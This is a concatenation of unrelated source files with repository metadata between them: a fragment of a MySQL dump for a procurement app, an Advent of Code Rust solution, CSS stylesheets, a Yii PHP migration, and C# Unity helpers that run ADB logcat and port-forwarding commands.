23:13:46', '2021-08-17 01:04:49'), (7, 'PC Komputer', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/HZ3gF5vjn4seXtCFifWemCAZIoeA8OCVhEkP6sZu.png', 17500000, 1, '2021-08-08 22:04:30', '2021-08-17 01:17:36'), (8, 'Projector', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/rkj52u0LVej4Wm7fxxiYBUAGvu8VsJIJ28L2diP1.png', 5000000, 1, '2021-08-04 23:11:58', '2021-08-17 01:17:43'), (9, 'Sound Sistem', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/Otr3gnIe5e3yQ4C3kEdNFpViBiPParmQX9YYRCM9.png', 15000000, 1, '2021-08-04 23:13:46', '2021-08-17 01:35:15'), (10, 'Telephone', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/NCTNOBTPoATu6HNvHsPLU5wVrg1rVjwyPJ0wh14x.png', 7500000, 1, '2021-08-08 22:04:30', '2021-08-17 01:07:06'), (11, 'Kulkas', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/LpcJDg6xITKCHtBpZVfqF9zFXOzGBpp7TbwhK1Vl.png', 25000000, 1, '2021-08-04 23:11:58', '2021-08-17 01:07:51'), (12, 'Lemari', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/ZXAge7GxeHLEOxmkyTOheD4gSo3fSp0ipMluYFG3.png', 15000000, 1, '2021-08-04 23:13:46', '2021-08-17 01:40:50'), (13, 'Pelampung', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/Dsgw3kq0r4ACjLNLDdk9xbZ3LntADZKAHfv7wLpX.png', 7500000, 1, '2021-08-08 22:04:30', '2021-08-17 01:09:15'), (14, 'Perahu', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/f1oVEOSREnTi8P2qgtRIw5Y6ySZoHXrWRqSZv6x3.png', 125000000, 1, '2021-08-04 23:11:58', '2021-08-17 01:17:59'), (15, 'Baju Seragam', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/CH5gx41aONJldwoFrafRkeyAaoKFoMQlGKKTyyHS.png', 15000000, 1, '2021-08-04 23:13:46', '2021-08-17 01:11:29'), (16, 'Printer', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/WB3fwS0pBfjZ6RCHyM4DPXqbyKJPfikfScuf6uhq.png', 7500000, 1, '2021-08-08 22:04:30', '2021-08-17 01:12:00'), (17, 'Akua', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/OAwZ7MtydWtnIV8An9w56mgK40nNccy9INGi9o9b.png', 5000000, 1, '2021-08-04 23:11:58', '2021-08-17 01:18:12'), (18, 'TV LCD', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/GcBFVviRgxBBFW1uaNAv2vHd15XCjP0TPaeHGFpB.png', 15000000, 1, '2021-08-04 23:13:46', '2021-08-17 01:14:11'), (19, 'Hand Sanitizer', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/WG6UveKF8luw7aSaym8iYclunkbm6ganlaSTjN1g.png', 7500000, 1, '2021-08-08 22:04:30', '2021-08-17 01:14:56'), (20, 'Masker', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/9XNGss1ThoQBy0tJieNC1d5thSJ9rWbBgimPRLgd.png', 25000000, 1, '2021-08-04 23:11:58', '2021-08-17 01:16:18'); -- -------------------------------------------------------- -- -- Table structure for table `tbl_pengajuan` -- CREATE TABLE `tbl_pengajuan` ( `id_pengajuan` int(11) NOT NULL, `id_suplier` int(11) NOT NULL, `id_pengadaan` float NOT NULL, `anggaran` int(11) NOT NULL, `proposal` text NOT NULL, `status` int(11) NOT NULL DEFAULT 1, `created_at` timestamp NOT NULL DEFAULT current_timestamp(), `updated_at` timestamp NOT NULL DEFAULT current_timestamp() ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `tbl_pengajuan` -- INSERT INTO `tbl_pengajuan` (`id_pengajuan`, `id_suplier`, `id_pengadaan`, `anggaran`, `proposal`, `status`, `created_at`, `updated_at`) VALUES (1, 6, 1, 25000000, 'public/proposal/QmEV9MFFJtVMBc7rqPuVViOuGlC5VkSP3uC08OBa.pdf', 2, '2021-08-09 02:27:33', '2021-08-11 23:00:41'), (2, 6, 2, 15000000, 'public/proposal/3dmEWdhcz102UN4q6cWHc1XWP6NVdH6sQoW4yCTW.pdf', 3, '2021-08-10 17:44:47', '2021-08-11 22:49:05'), (3, 6, 4, 375000000, 'public/proposal/hHEE3ttEoA1652zH0K4varz0b18QbJreTdYAr69M.pdf', 2, '2021-08-17 02:21:14', '2021-08-17 02:21:43'); -- -------------------------------------------------------- -- -- Table structure for table `tbl_suplier` -- CREATE TABLE `tbl_suplier` ( `id_suplier` int(11) NOT NULL, `nama_usaha` varchar(100) NOT NULL, `email` varchar(100) NOT NULL, `alamat` text NOT NULL, `no_npwp` varchar(100) NOT NULL, `password` varchar(255) NOT NULL, `status` int(11) NOT NULL DEFAULT 0, `token` text DEFAULT NULL, `created_at` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `updated_at` timestamp NOT NULL DEFAULT current_timestamp() ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `tbl_suplier` -- INSERT INTO `tbl_suplier` (`id_suplier`, `nama_usaha`, `email`, `alamat`, `no_npwp`, `password`, `status`, `token`, `created_at`, `updated_at`) VALUES (6, 'CV. Sehat Bahagia', 'sehat@gmail.com', 'Alamat Test Karawang', '001.001.001.001.000', 'eyJpdiI6InBGUHpCMThzNElRWGhhaTBlZlBPRmc9PSIsInZhbHVlIjoiT2tiNlpORnk1OFdHdjNQXC8wTnhGekE9PSIsIm1hYyI6IjU5YWQxMDIwYWMzYTM2YTAxYzYxNjNiNGEzYjg4MzFlZTY2ZmRiMDRiYzIwMDhiNjM0YjlhN2U5NGZmY2MyOWYifQ==', 0, 'kosong', '2021-08-18 23:52:02', '2021-08-18 16:52:02'), (8, 'PT. Senyum Sajalah', 'senyum@gmail.com', 'Jl. Purwadana Karawang', '34.434.3434.676.000', 'eyJpdiI6InJVRzNPUDNyQmx5NVgxTUVmOEU0U0E9PSIsInZhbHVlIjoiNkplNkRqY1Eza0JzQWNZXC9BYlo5YkE9PSIsIm1hYyI6IjBhYjMxM2Q0YzQyMzYzZTMyMmEwYWM4MzNiYTI4NThlZmRlMzlkNzYzOTU2M2JiMDg4ZTBhYzA4ZjM5YzFiODEifQ==', 1, 'kosong', '2021-08-18 07:01:33', '2021-08-18 00:01:33'), (9, 'PT. Karya Anak Bangsa', 'karya@gmail.com', 'Jl. Gatot Subroto Jakarta', '23.456.45.66.000', 'eyJpdiI6IkhwdE93dGFtRTVLTnlYM3hcL012M1ZRPT0iLCJ2YWx1ZSI6IktHaHBMY21hNUVZajZLSDZFMytpeEE9PSIsIm1hYyI6ImI5ZjMzNmU1NzVmZDAzZmVmNTc3ZjgzY2FjZTQxNDc5NTA1MjFjYmE0YTVlNDI2MTZjZGQwY2YxNzE4Nzg4ZmQifQ==', 1, 'kosong', '2021-08-18 08:16:54', '2021-08-18 01:16:54'); -- -- Indexes for dumped tables -- -- -- Indexes for table `tbl_admin` -- ALTER TABLE `tbl_admin` ADD PRIMARY KEY (`id_admin`); -- -- Indexes for table `tbl_laporan` -- ALTER TABLE `tbl_laporan` ADD PRIMARY KEY (`id_laporan`); -- -- Indexes for table `tbl_pengadaan` -- ALTER TABLE `tbl_pengadaan` ADD PRIMARY KEY (`id_pengadaan`); -- -- Indexes for table `tbl_pengajuan` -- ALTER TABLE `tbl_pengajuan` ADD PRIMARY KEY (`id_pengajuan`); -- -- Indexes for table `tbl_suplier` -- ALTER TABLE `tbl_suplier` ADD PRIMARY KEY (`id_suplier`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `tbl_admin` -- ALTER TABLE `tbl_admin` MODIFY `id_admin` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=12; -- -- AUTO_INCREMENT for table `tbl_laporan` -- ALTER TABLE `tbl_laporan` MODIFY `id_laporan` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8; -- -- AUTO_INCREMENT for table `tbl_pengadaan` -- ALTER TABLE `tbl_pengadaan` MODIFY `id_pengadaan` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=21; -- -- AUTO_INCREMENT for table `tbl_pengajuan` -- ALTER TABLE `tbl_pengajuan` MODIFY `id_pengajuan` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `tbl_suplier` -- ALTER TABLE `tbl_suplier` MODIFY `id_suplier` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
52.045455
399
0.7395
c0a51ec2e26ed687e6517e66842d36c18699e959
3,406
rs
Rust
src/day_02.rs
Mirko-von-Leipzig/advent-of-code-2021
2a09bc76ea60542b7b29ef7c1ca23da9f98414a4
[ "MIT" ]
null
null
null
src/day_02.rs
Mirko-von-Leipzig/advent-of-code-2021
2a09bc76ea60542b7b29ef7c1ca23da9f98414a4
[ "MIT" ]
null
null
null
src/day_02.rs
Mirko-von-Leipzig/advent-of-code-2021
2a09bc76ea60542b7b29ef7c1ca23da9f98414a4
[ "MIT" ]
null
null
null
#![cfg(test)] use std::{iter::Sum, str::FromStr}; trait Position: Sum<Direction> { fn depth(&self) -> u32; fn horizontal(&self) -> u32; } #[derive(Debug, Default)] struct Position1 { depth: u32, horizontal: u32, } impl Position for Position1 { fn depth(&self) -> u32 { self.depth } fn horizontal(&self) -> u32 { self.horizontal } } impl Position for Position2 { fn depth(&self) -> u32 { self.depth } fn horizontal(&self) -> u32 { self.horizontal } } #[derive(Debug, Default)] struct Position2 { depth: u32, horizontal: u32, aim: u32, } enum Direction { Forward(u32), Up(u32), Down(u32), } impl Sum<Direction> for Position1 { fn sum<I: Iterator<Item = Direction>>(iter: I) -> Self { iter.fold(Position1::default(), |mut pos, movement| { match movement { Direction::Forward(amount) => pos.horizontal += amount, Direction::Up(amount) => pos.depth -= amount, Direction::Down(amount) => pos.depth += amount, } pos }) } } impl Sum<Direction> for Position2 { fn sum<I: Iterator<Item = Direction>>(iter: I) -> Self { iter.fold(Position2::default(), |mut pos, movement| { match movement { Direction::Forward(amount) => { pos.horizontal += amount; pos.depth += amount * pos.aim; } Direction::Up(amount) => pos.aim -= amount, Direction::Down(amount) => pos.aim += amount, } pos }) } } impl FromStr for Direction { type Err = String; fn from_str(s: &str) -> Result<Self, Self::Err> { let mut words = s.split_whitespace(); let direction = words .next() .ok_or_else(|| "missing direction".to_string())?; let amount = words.next().ok_or_else(|| "missing amount".to_string())?; let amount = amount.parse::<u32>().map_err(|err| err.to_string())?; match direction { "forward" => Ok(Direction::Forward(amount)), "up" => Ok(Direction::Up(amount)), "down" => Ok(Direction::Down(amount)), other => Err(format!("bad direction string: {}", other)), } } } fn calculate<T: Position>(data: &str) -> u32 { let position: T = data .lines() .map(|line| line.parse::<Direction>().unwrap()) .sum(); position.depth() * position.horizontal() } mod part_1 { use super::*; #[test] fn example() { let input = "forward 5\ndown 5\nforward 8\nup 3\ndown 8\nforward 2"; assert_eq!(calculate::<Position1>(input), 150); } #[test] fn solution() { let data = include_str!(concat!(env!("CARGO_MANIFEST_DIR"), "/input/day_02")); let answer = calculate::<Position1>(data); assert_eq!(answer, 1815044); } } mod part_2 { use super::*; #[test] fn example() { let input = "forward 5\ndown 5\nforward 8\nup 3\ndown 8\nforward 2"; assert_eq!(calculate::<Position2>(input), 900); } #[test] fn solution() { let data = include_str!(concat!(env!("CARGO_MANIFEST_DIR"), "/input/day_02")); let answer = calculate::<Position2>(data); assert_eq!(answer, 1739283308); } }
24.328571
86
0.5367
a690ff0bb86a250ed1cc02607a016fea2c707682
59
dart
Dart
lib/models/destiny_public_milestone_quest.dart
TheBrenny/bungie-api-dart
4b63b4e0a808de686a26689d1deed57b52ab162a
[ "MIT", "BSD-3-Clause" ]
8
2019-09-05T08:42:55.000Z
2021-11-24T06:25:05.000Z
lib/models/destiny_public_milestone_quest.dart
marquesinijatinha/bungie-api-dart
961e032901da23c76d8edcc9193ca53a005cb1ff
[ "MIT", "BSD-3-Clause" ]
5
2019-09-06T16:05:20.000Z
2021-12-16T15:24:17.000Z
lib/models/destiny_public_milestone_quest.dart
marquesinijatinha/bungie-api-dart
961e032901da23c76d8edcc9193ca53a005cb1ff
[ "MIT", "BSD-3-Clause" ]
6
2019-09-05T13:37:52.000Z
2022-03-20T12:52:58.000Z
export '../src/models/destiny_public_milestone_quest.dart';
59
59
0.830508
2d3095385b1bc260c572a722fe26b1a88044b5a4
2,305
css
CSS
sportsInsider/style.css
Chrisg91322/practicePortfolio
095b1a85883d2274ab2214190c00340f48c06563
[ "Apache-2.0" ]
null
null
null
sportsInsider/style.css
Chrisg91322/practicePortfolio
095b1a85883d2274ab2214190c00340f48c06563
[ "Apache-2.0" ]
null
null
null
sportsInsider/style.css
Chrisg91322/practicePortfolio
095b1a85883d2274ab2214190c00340f48c06563
[ "Apache-2.0" ]
null
null
null
body { background-color: #204d74; } button:active { background-color: grey; } .activeBtn { background-color: grey; } header { font-size: 50px; } .footer { height: 5vh; } .news-feed, .twit, .video{ background-color: lightgrey; height: 75vh; overflow: scroll; padding: 5%; border-radius: 25px; } .news-head { text-align: center; font-size: x-large; font-weight: bolder; margin-bottom: 5px; color: whitesmoke; } .news-feed img { width: 50px; height: 50px; display: inline-block; } .news-feed > div > a > div { width: calc(100% - 50px); display: inline-block; padding-left: 5px; } .video img { width: 100px; /* height: 100px; */ } .video { font-weight: bold; text-align: center; font-size: large; } .twitterContainer { border: 1px solid black; border-radius: 10px; padding: 5px 5px 5px 15px; margin-bottom: 1px; box-shadow: #5e5e5e; } .username { color: dodgerblue; } .input-group{ margin-top: 7px; position: relative; } .news-head > img { width: 25px; height: 25px; } ul#index.dropdown-menu { width: 97vh; height: 45vh; border-bottom-left-radius: 15px; border-bottom-right-radius: 15px; } .dropdown-menu li.team{ width: 23vh; display: inline-block; height: 5vh; margin: 2px 4px; text-align: center; font-weight: bolder; border-bottom-left-radius: 15px; border-bottom-right-radius: 15px; } #index .dropdown-menu a{ height: 100%; } .event_header{ background-color: lightgray; margin-left: 15%; margin-bottom: 10px; height: 15%; border-radius: 10px; text-align: center; font-size: 40px; box-shadow: 2px 2px 2px rgb(55, 54, 54); } .event_container{ box-shadow: 2px 2px 2px rgb(55, 54, 54); margin-left: 15%; margin-bottom: 10px; background-color: white; height: 100%; font-size: 25px; border-radius: 10px; } .events{ overflow-y: scroll; height: 75vh; } .getSeats{ border-radius: 5px; font-size: 18px; background-color: #009cde; color: white; box-shadow: 1px 1px 1px grey; } @media screen and (max-width: 767px) { .main { height: auto; padding: 15px; } .row.content {height:auto;} }
16.702899
44
0.60564
4b63552077b15d49d4f9bbfa7b426cd4c56912ad
25
rs
Rust
shiratsu-dat/src/redump/mod.rs
xd009642/shiratsu
75dd8b72b8e441b498e3ec631bb77bfa0abace94
[ "MIT" ]
6
2021-02-11T00:22:27.000Z
2021-11-26T09:24:33.000Z
shiratsu-dat/src/redump/mod.rs
xd009642/shiratsu
75dd8b72b8e441b498e3ec631bb77bfa0abace94
[ "MIT" ]
6
2021-03-11T08:26:02.000Z
2022-02-11T20:17:41.000Z
shiratsu-dat/src/redump/mod.rs
xd009642/shiratsu
75dd8b72b8e441b498e3ec631bb77bfa0abace94
[ "MIT" ]
2
2021-11-22T21:52:38.000Z
2022-03-30T08:03:27.000Z
mod dat; pub use dat::*;
8.333333
15
0.6
db7c8ae1f2069fa4b5ebff4499bfe333f8d0cfb8
2,118
php
PHP
migrations/m190522_235737_create_tasks_table.php
adammahamat/Tracker
b0e0732737eac772cd41d1732aca22e8e2322fa4
[ "BSD-3-Clause" ]
null
null
null
migrations/m190522_235737_create_tasks_table.php
adammahamat/Tracker
b0e0732737eac772cd41d1732aca22e8e2322fa4
[ "BSD-3-Clause" ]
null
null
null
migrations/m190522_235737_create_tasks_table.php
adammahamat/Tracker
b0e0732737eac772cd41d1732aca22e8e2322fa4
[ "BSD-3-Clause" ]
null
null
null
<?php use yii\db\Migration; /** * Handles the creation of table `{{%tasks}}`. */ class m190522_235737_create_tasks_table extends Migration { /** * {@inheritdoc} */ public function safeUp() { $sql = ' SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; CREATE TABLE `tasks` ( `id` int(11) NOT NULL, `task_name` varchar(256) NOT NULL, `description` text NOT NULL, `creator_id` int(11) NOT NULL, `worker_id` int(11) NOT NULL, `deadLine_date` date NOT NULL, `start_date` date DEFAULT NULL, `end_date` date DEFAULT NULL, `task_status_id` int(11) NOT NULL DEFAULT \'1\' ) ENGINE=InnoDB DEFAULT CHARSET=utf8; INSERT INTO `tasks` (`id`, `task_name`, `description`, `creator_id`, `worker_id`, `deadLine_date`, `start_date`, `end_date`, `task_status_id`) VALUES (1, \'Test\', \'Test task.\', 1, 3, \'2018-08-30\', NULL, NULL, 4), (2, \'Test 2\', \'Test task.\', 1, 4, \'2018-08-31\', \'2018-08-31\', \'2018-08-31\', 2), (3, \'Test 3\', \'Test task.\', 1, 5, \'2018-12-31\', NULL, NULL, 1), (4, \'Test 4\', \'Test todo.\', 3, 1, \'2018-12-31\', NULL, NULL, 1); ALTER TABLE `tasks` ADD PRIMARY KEY (`id`), ADD KEY `creator_id` (`creator_id`), ADD KEY `worker_id` (`worker_id`), ADD KEY `task_status_id` (`task_status_id`); ALTER TABLE `tasks` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; ALTER TABLE `tasks` ADD CONSTRAINT `tasks_ibfk_1` FOREIGN KEY (`task_status_id`) REFERENCES `task_status` (`id`) ON UPDATE CASCADE, ADD CONSTRAINT `tasks_ibfk_2` FOREIGN KEY (`creator_id`) REFERENCES `users` (`id`) ON UPDATE CASCADE, ADD CONSTRAINT `tasks_ibfk_3` FOREIGN KEY (`worker_id`) REFERENCES `users` (`id`) ON UPDATE CASCADE; COMMIT; '; $this->execute($sql); } /** * {@inheritdoc} */ public function safeDown() { $sql = ' SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; DROP TABLE `tasks`; COMMIT; '; $this->execute($sql); return false; } }
27.153846
149
0.627479
580e858e3a71492b7264d0456f567cad2307b573
4,041
css
CSS
client/src/app/Components/home/home.component.css
Alisha-kuvalekar/On-demand-car-wash
dfa258922a83a6fdae03107df0f8ca1ccc1322c6
[ "MIT" ]
3
2020-12-29T12:46:00.000Z
2022-02-17T07:45:17.000Z
client/src/app/Components/home/home.component.css
Alisha-kuvalekar/On-demand-car-wash
dfa258922a83a6fdae03107df0f8ca1ccc1322c6
[ "MIT" ]
null
null
null
client/src/app/Components/home/home.component.css
Alisha-kuvalekar/On-demand-car-wash
dfa258922a83a6fdae03107df0f8ca1ccc1322c6
[ "MIT" ]
null
null
null
/************ banner image **********/ .banner-img{ background-image: url('../../../assets/images/banner-img.jpg'); height: 700px; background-attachment: fixed; background-position: center bottom; background-size: cover; opacity: 0.9; } .heading{ font-size: 60px; text-align: center; padding: 20px; font-family: 'Montserrat', sans-serif; letter-spacing: 2px; } /************* Carousel **************/ #carouselExampleIndicators{ width: 70%; height: 550px; margin: auto; margin-bottom:80px; color: black; } hr{ width: 60%; margin-right: 0; } .carousel-indicators li{ background-color:rgba(128, 128, 128, 0.733); } .carousel-indicators li.active{ background-color: black; } .carousel-control-prev-icon { background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23007bff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E") !important; } .carousel-control-next-icon { background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23007bff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E") !important; } .carousel-item{ padding: 30px; align-items: center; } .carousel-item .info{ text-align: right; padding-top: 150px } .carousel-item .info h2{ font-size: 45px; font-family: 'Padauk', sans-serif;; } .carousel-item .info h3{ font-family: 'Montserrat', sans-serif; } .carousel-item .info h4{ font-family: Verdana, Geneva, Tahoma, sans-serif; line-height: 1.6; } .carousel-item .icon{ text-align: center; padding-top: 150px; font-size: 8em; } .column { float: left; width: 50%; } .rows:after { content: ""; display: table; clear: both; } /* Carousel media Queries */ @media screen and (max-width: 520px) { .column { width: 100%; } .rows:after { display: block } .carousel-item .info{ text-align: center; padding: 10px; } .carousel-item .icon{ text-align: center; padding: 10px; font-size: 4em; } #carouselExampleIndicators{ height: 500px; } hr{ width: 40%; margin: auto; } } @media screen and ( min-width :521px) and (max-width: 1130px) { .column { width: 100%; } .rows:after { display: block } .carousel-item .info{ text-align: center; padding: 20px; } .carousel-item .icon{ text-align: center; padding: 20px; font-size: 7em; } #carouselExampleIndicators{ height: 600px; } hr{ width: 60%; margin: auto; } } /* Gallery of cities styling */ .gallery{ background-color:rgba(128, 128, 128, 0.062) } .card-footer{ text-align: center; font-size: large; } #gallerybutton{ text-align: center; font-family: 'Montserrat', sans-serif ; margin: auto; padding: 30px; font-size: 27px; } /* Washer part */ #washer{ background-color: white; } #title{ font-size: 20px; font-family: Arial, Helvetica, sans-serif; } #content{ font-family: Verdana, Geneva, Tahoma, sans-serif; line-height: 1.6; text-align: center; font-size: 26px; } #washerbutton span{ font-size: large; } #washerbutton{ text-align: center; padding: 15px; } .headWasher{ font-size: 60px; text-align: center; padding: 10px; font-family: 'Montserrat', sans-serif; letter-spacing: 2px; } .container-fluid{ padding: 35px; text-align: center; } .container-fluid hr, #washer hr{ width: 75%; margin:auto; } .col-sm{ padding: 25px; } .col-sm fa-icon{ font-size: 3em; } /* Contact info */ .container{ padding-bottom: 50px; } .container .col-sm-5{ padding-top: 100px; } .container .row{ padding: 10px; font-size: 18px; }
17.880531
228
0.586241
33001e1024fcfe0943437ce0332a272444c7eb9e
107
sql
SQL
Exchange.Data.SqlServer.Database/Sequences/SymbolSequence.sql
JorgeCandeias/Exchange
1a679a9dda6e19c34bd5862a21881e663ac4dd4b
[ "MIT" ]
13
2021-09-03T20:51:49.000Z
2022-03-28T18:16:12.000Z
Exchange.Data.SqlServer.Database/Sequences/SymbolSequence.sql
JorgeCandeias/Exchange
1a679a9dda6e19c34bd5862a21881e663ac4dd4b
[ "MIT" ]
null
null
null
Exchange.Data.SqlServer.Database/Sequences/SymbolSequence.sql
JorgeCandeias/Exchange
1a679a9dda6e19c34bd5862a21881e663ac4dd4b
[ "MIT" ]
2
2021-11-19T17:24:13.000Z
2022-03-31T17:46:26.000Z
CREATE SEQUENCE [dbo].[SymbolSequence] AS INT START WITH 1 INCREMENT BY 1 NO MAXVALUE NO CYCLE CACHE 10 GO
13.375
39
0.785047
5f7d871d820299e95c514b6b68e7523909f0eacc
1,760
swift
Swift
magic/magic/View/Select/Message/ViewModel/MessageListViewModel.swift
LinKeymy/MagicP2P
65ff77878407359039b92e555097b2b3484b1781
[ "MIT" ]
null
null
null
magic/magic/View/Select/Message/ViewModel/MessageListViewModel.swift
LinKeymy/MagicP2P
65ff77878407359039b92e555097b2b3484b1781
[ "MIT" ]
null
null
null
magic/magic/View/Select/Message/ViewModel/MessageListViewModel.swift
LinKeymy/MagicP2P
65ff77878407359039b92e555097b2b3484b1781
[ "MIT" ]
null
null
null
// // MessageViewModel.swift // magic // // Created by SteveLin on 2017/6/1. // Copyright © 2017年 SteveLin. All rights reserved. // import UIKit import Moya import RxSwift class SourcesViewModel:TableSourceType { internal var sourcesble = Variable<[MessageSource]>([]) func fectchMessageSources() -> Observable<[MessageSource]> { return Network.request(MessageAPI.messages).mapModels(type: MessageSource.self, listKey: "list") } func updateMessageSources() { _ = Network.request(MessageAPI.messages).mapModels(type: MessageSource.self, listKey: "list").subscribe( onNext: { [weak self] in self?.sourcesble.value = $0 }) } } class MessageListViewModel: TableSourceType { var sourcesble = Variable<[MessageViewModel]>([]) var sources: [MessageViewModel] { return sourcesble.value.reversed() } var sections: [[MessageViewModel]] { return sourcesble.value.reversed().divideMap{ return $0.dayString == $1.dayString } } var id:String init(id:String) { self.id = id } func fetchMessage() { if let index = sourcesble.value.last?.id { _ = fectchMessage(id: id, startIndex: index).subscribe(onNext: { [weak self] in let viewModels = $0.map { return MessageViewModel(message: $0 ) } self?.sourcesble.value.append(contentsOf: viewModels) print("fetchMessge:\($0.count)") }) } } func fectchMessage(id:String, startIndex:Int) -> Observable<[Message]> { return Network.request(MessageAPI.detail(id: id, start: startIndex, limit: 5)).mapModels(type: Message.self, listKey: "list") } }
30.344828
133
0.622159
84ba996c7ef4fbb25c4f157f63690ac917771bb9
231
cs
C#
SmartHealthCard.Token/JwsToken/IJwsSignatureValidator.cs
snowke/SmartHealthCard
df09ecaf7c351580747c863e229c5f3834fa56e5
[ "MIT" ]
null
null
null
SmartHealthCard.Token/JwsToken/IJwsSignatureValidator.cs
snowke/SmartHealthCard
df09ecaf7c351580747c863e229c5f3834fa56e5
[ "MIT" ]
null
null
null
SmartHealthCard.Token/JwsToken/IJwsSignatureValidator.cs
snowke/SmartHealthCard
df09ecaf7c351580747c863e229c5f3834fa56e5
[ "MIT" ]
null
null
null
using SmartHealthCard.Token.Algorithms; using SmartHealthCard.Token.Support; namespace SmartHealthCard.Token.JwsToken { public interface IJwsSignatureValidator { Result Validate(IAlgorithm Algorithm, string Token); } }
21
56
0.800866
25585138882f5bed4a630411f6b990e6551c1e4e
2,106
cs
C#
Assets/UnityDebugViewer/Scripts/ADB/UnityDebugViewerADBUtility.cs
unhay/UnityDebugViewer
dc345976661520e4641b8897d6b86799ce80162b
[ "Apache-2.0" ]
81
2020-03-13T03:46:25.000Z
2022-01-16T21:57:27.000Z
Assets/UnityDebugViewer/Scripts/ADB/UnityDebugViewerADBUtility.cs
unhay/UnityDebugViewer
dc345976661520e4641b8897d6b86799ce80162b
[ "Apache-2.0" ]
4
2020-03-25T08:00:46.000Z
2021-05-07T08:53:01.000Z
Assets/UnityDebugViewer/Scripts/ADB/UnityDebugViewerADBUtility.cs
unhay/UnityDebugViewer
dc345976661520e4641b8897d6b86799ce80162b
[ "Apache-2.0" ]
16
2020-03-13T05:30:24.000Z
2021-09-02T06:22:07.000Z
/// Copyright (C) 2020 AsanCai /// All rights reserved /// Email: 969850420@qq.com using System.Diagnostics; using UnityEngine; namespace UnityDebugViewer { public static class UnityDebugViewerADBUtility { public const string DEFAULT_FORWARD_PC_PORT = "50000"; public const string DEFAULT_FORWARD_PHONE_PORT = "50000"; public const string DEFAULT_ADB_PATH = "ADB"; public const string LOGCAT_CLEAR = "logcat -c"; public const string LOGCAT_ARGUMENTS = "logcat -v time"; public const string LOGCAT_ARGUMENTS_WITH_FILTER = "logcat -v time -s {0}"; public const string ADB_DEVICE_CHECK = "devices"; public const string START_ADB_FORWARD = "forward tcp:{0} tcp:{1}"; public const string STOP_ADB_FORWARD = "forward --remove-all"; private static UnityDebugViewerADB adbInstance; public static UnityDebugViewerADB GetADBInstance() { if(adbInstance == null) { adbInstance = ScriptableObject.CreateInstance<UnityDebugViewerADB>(); } return adbInstance; } public static void RunClearCommand(string adbPath) { GetADBInstance().RunClearCommand(adbPath); } public static bool StartLogcatProcess(DataReceivedEventHandler processDataHandler, string filter, string adbPath) { return GetADBInstance().StartLogcatProcess(processDataHandler, filter, adbPath); } public static void StopLogCatProcess() { GetADBInstance().StopLogcatProcess(); } public static bool StartForwardProcess(string pcPort, string phonePort, string adbPath) { return GetADBInstance().StartForwardProcess(pcPort, phonePort, adbPath); } public static void StopForwardProcess(string adbPath) { GetADBInstance().StopForwardProcess(adbPath); } public static bool CheckDevice(string adbPath) { return GetADBInstance().CheckDevice(adbPath); } } }
32.4
121
0.647673
2009a6b739729e60b93d9c8ca6260ccc99205bc6
1,480
py
Python
examples/Radio_resource_allocation/barplot.py
real-lhj/ignnition
3d565a886abb459c3dfbd8d69667db6c614fce19
[ "Apache-2.0" ]
18
2021-06-09T15:52:55.000Z
2022-03-28T05:54:14.000Z
examples/Radio_resource_allocation/barplot.py
real-lhj/ignnition
3d565a886abb459c3dfbd8d69667db6c614fce19
[ "Apache-2.0" ]
11
2021-06-03T07:55:04.000Z
2022-03-11T16:54:15.000Z
examples/Radio_resource_allocation/barplot.py
real-lhj/ignnition
3d565a886abb459c3dfbd8d69667db6c614fce19
[ "Apache-2.0" ]
12
